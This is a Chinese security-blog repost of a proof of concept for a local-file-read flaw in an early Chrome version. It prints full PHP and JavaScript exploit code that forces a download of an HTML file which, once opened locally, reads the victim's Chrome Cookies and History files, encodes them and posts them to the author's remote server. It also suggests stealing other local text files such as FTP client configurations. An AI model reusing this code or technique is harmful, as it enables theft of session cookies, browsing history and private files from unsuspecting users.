Google Chrome使用ajax读取本地文件漏洞 's

admin 2017年4月30日10:03:11评论325 views字数 2672阅读8分54秒阅读模式
摘要

作者:空虚浪子心google的浏览器Chrome1.0.154.53(目前最新),存在ajax读取本地文件漏洞。
利用该漏洞可以读取本地文本文件,并提交出来。

作者:空虚浪子心

google的浏览器Chrome1.0.154.53(目前最新),存在ajax读取本地文件漏洞。
利用该漏洞可以读取本地文本文件,并提交出来。

而Chrome的cookie默认保存在“C:/Documents and Settings/administrator/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies”

Chrome的历史保存在”C:/Documents and Settings/administrator/Local Settings/Application Data/Google/Chrome/User Data/Default/History”

读取这个文件,然后提交,前提是文件在本地打开,但是如何欺骗用户在本地打开呢?

看代码:

<? /* #     Chrome 1.0.154.53 use ajax read local txt file and upload exp #     www.inbreak.net #     author [email protected] 2009-4-22 #     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. */ header("Content-Disposition: attachment;filename=kxlzx.htm"); header("Content-type: application/kxlzx"); /* #     set header, so just download html file,and open it at local. */ ?> <form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="POST"> <input id="input" name="cookie" value="" type="hidden"> </form> <script> function doMyAjax(user) { var time = Math.random(); /* the cookie at C:/Documents and Settings/kxlzx/Local Settings/Application Data/Google/Chrome/User Data/Default and the history at C:/Documents and Settings/kxlzx/Local Settings/Application Data/Google/Chrome/User Data/History and so on... */ var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;  startRequest(strPer);  }  function Enshellcode(txt) { var url=new String(txt); var i=0,l=0,k=0,curl=""; l= url.length; for(;i<l;i++){ k=url.charCodeAt(i); if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} if (l%2){curl+="00";}else{curl+="0000";} curl=curl.replace(/(..)(..)/g,"%u$2$1"); return curl; }  var xmlHttp; function createXMLHttp(){ if(window.XMLHttpRequest){ xmlHttp = new XMLHttpRequest(); } else if(window.ActiveXObject){ xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); } }  function startRequest(doUrl){  createXMLHttp();  xmlHttp.onreadystatechange = handleStateChange;  xmlHttp.open("GET", doUrl, true);  xmlHttp.send(null);  }  function handleStateChange(){ if (xmlHttp.readyState == 4 ){ var strResponse = ""; setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);  } }  function framekxlzxPost(text) { document.getElementById("input").value = Enshellcode(text); document.getElementById("form").submit(); }  doMyAjax("administrator");  </script>

注意,本代码上传TXT之前,已经做了加密,为了保证文件的完整性,具体的解密,请看

http://cha88.cn/safe/glacierlk.php

选择shellcode解密

浏览器会自动下在这个html文件,保存为kxlzx.htm。

Google Chrome使用ajax读取本地文件漏洞  's

下载后,用户肯定会去看看下载了什么,打开htm(在本地)。

打开后,执行JS,把本地的cookie,history等(可自定义),上传到恶意用户制定地方。

POC可以根据实际情况改进。有以下几点注意:

几点说明:
1,不一定非要读取cookie,你也可以读取其他东西,比如ftp软件的ini配置文件等,只要是txt就能读取。
2,读取cookie必须预测本地用户名,不过很多人都是administrator。
3,反正ajax是异步,你可以同时调用几个方法。
4,或者你可以发送任何想要的本地TXT文件。

其实这个漏洞和我以前发的opera本地读取漏洞是一个道理的。

但是会比他严重一点,因为Chrome的cookie文件地址是固定的。

POC:
http://www.inbreak.net/kxlzxtest/testxss/Chrome.php
http://www.inbreak.net/kxlzxtest/testxss/b.php

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月30日10:03:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Google Chrome使用ajax读取本地文件漏洞 'shttps://cn-sec.com/archives/44698.html

发表评论

匿名网友 填写信息